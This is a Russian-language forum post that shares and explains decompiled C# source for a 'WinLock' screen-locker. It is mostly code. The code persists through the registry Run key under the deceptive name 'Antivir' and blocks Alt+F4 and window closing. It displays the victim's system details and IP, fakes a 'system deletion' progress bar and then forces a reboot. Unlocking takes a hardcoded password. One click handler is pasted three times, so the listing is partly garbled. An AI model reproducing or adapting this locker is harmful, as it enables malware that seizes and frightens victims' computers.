C# Исход Вин Лока

  • Автор темы Автор темы Brave
  • Дата начала Дата начала
  • Для просмотра чата и остального функционала вам нужно авторизоваться или пройти регистрацию!

Brave

Пользователь
Original poster
Фев 16, 2013
7
7
6
В принципе самы стандартный вин лок, скинули мне его я его расковырял естественно))))
ну вот сурс как он есть:
1.png

нам понадобится:
13 кнопок
11 лейблов
5 груп боксов
1 прогрес бар
две переменных (int): i, progress
и еще тут есть веб браузер...

начнем
Код:
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Net;
using System.Runtime.InteropServices;
using System.Windows.Forms;[code]

прописываемся в реестр:
Код:
public Form1()
{
this.reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
this.i = 0;
this.progress = 0;
this.components = (IContainer) null;
base.\u002Ector();
this.reg.SetValue("Antivir", (object) ((object) Application.ExecutablePath).ToString());
this.InitializeComponent();
}


юзаем вин апи
Код:
[DllImport("advapi32.dll", EntryPoint = "InitiateSystemShutdownEx")]
private static int InitiateSystemShutdown(string lpMachineName, string lpMessage, int dwTimeout, bool bForceAppsClosed, bool bRebootAfterShutdown);

[DllImport("advapi32.dll", SetLastError = true)]
internal static bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref Form1.TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

[DllImport("kernel32.dll")]
internal static IntPtr GetCurrentProcess();

[DllImport("advapi32.dll", SetLastError = true)]
internal static bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);

[DllImport("advapi32.dll", SetLastError = true)]
internal static bool LookupPrivilegeValue(string host, string name, ref long pluid);

[DllImport("user32.dll")]
private static bool LockWorkStation();

Обращение к dll кам и прочее (блок алт+ ф4, хотя не совсем понятно зачем ибо дальше есть условие на это....)
Код:
public int halt(bool RSh, bool Force)
{
this.SetPriv();
return Form1.InitiateSystemShutdown((string) null, (string) null, 0, Force, RSh);
}

public int Lock()
{
return Form1.LockWorkStation() ? 1 : 0;
}

protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
{
if (keyData == (Keys.F4 | Keys.Alt))
return true;
else
return base.ProcessCmdKey(ref msg, keyData);
}

На загрузку формы вешаем определение пользователя ip и тд...
Код:
private void Form1_Load(object sender, EventArgs e)
{
this.TopMost = true;
string hostName = Dns.GetHostName();
Label label1 = this.label2;
string str1 = label1.Text + " " + Environment.OSVersion.ToString();
label1.Text = str1;
Label label2 = this.label3;
string str2 = label2.Text + " " + ((object) Environment.SystemDirectory).ToString();
label2.Text = str2;
Label label3 = this.label4;
string str3 = label3.Text + " " + ((object) Environment.MachineName).ToString();
label3.Text = str3;
Label label4 = this.label5;
string str4 = label4.Text + " " + ((object) Environment.UserName).ToString();
label4.Text = str4;
Label label5 = this.label7;
string str5 = label5.Text + (object) " " + (string) (object) Dns.GetHostByName(hostName).AddressList[0];
label5.Text = str5;
this.label9.Text = "Вы попались на WinLock!";
}


Действия на нажатия кнопок
private void button1_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "1";
}

private void button2_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "2";
}

private void button3_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "3";
}

private void button4_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "4";
}

private void button5_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "5";
}

private void button6_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "6";
}

private void button7_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "7";
}

private void button8_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "8";
}

private void button9_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "9";
}

private void button10_Click(object sender, EventArgs e)
{
this.textBox1.Text = this.textBox1.Text + "0";
}

private void button13_Click(object sender, EventArgs e)
{
this.textBox1.Clear();
}

private void button11_Click(object sender, EventArgs e)
{
if (this.textBox1.Text == "666777666")
{
Application.Exit();
this.reg.DeleteValue("Antivir", false);
}
else
this.textBox1.Text = "Неверный пароль";
}

Вешаем запрет на закрытие формы
Код:
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
if (e.CloseReason != CloseReason.UserClosing)
return;
e.Cancel = true;
}

Таймер для определения инфы (на мой взгляд можно и упразднить
Код:
private void timer1_Tick(object sender, EventArgs e)
{
this.label6.Text = "Кол-во свободной памяти: " + new PerformanceCounter("Memory", "Available MBytes").NextValue().ToString() + " Mb";
this.label8.Text = "Системное время: " + DateTime.Now.ToString();
}

Псевдо удаление системы
Код:
private void button12_Click(object sender, EventArgs e)
{
this.label9.Text = "Удаление системы";
this.timer2.Enabled = true;
this.progressBar1.Visible = true;
this.button12.Enabled = false;
}
private void button12_Click(object sender, EventArgs e)
{
this.label9.Text = "Удаление системы";
this.timer2.Enabled = true;
this.progressBar1.Visible = true;
this.button12.Enabled = false;
}private void button12_Click(object sender, EventArgs e)
{
this.label9.Text = "Удаление системы";
this.timer2.Enabled = true;
this.progressBar1.Visible = true;
this.button12.Enabled = false;
}


еще один таймер на кол во попыток до псевдо удаления
Код:
private void timer2_Tick(object sender, EventArgs e)
{
Label label = this.label9;
string str = label.Text + ".";
label.Text = str;
this.i = this.i + 1;
if (this.i == 4)
{
this.i = 0;
this.label9.Text = "Удаление системы";
}
this.progress = this.progress + 1;
this.progressBar1.Value = this.progress;
if (this.progressBar1.Value != 100)
return;
this.progress = 0;
this.label9.Text = "Удаление завершено!";
this.progressBar1.Visible = false;
this.timer2.Enabled = false;
this.button12.Enabled = true;
this.halt(true, false);
}

+ Какая то херь (щас туплю чо то не могу понять для чего она а разбираться лень)
Код:
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}

Все, на этом весь исход
 
  • Like
Реакции: DessaR и Sere9aa
Сверху Снизу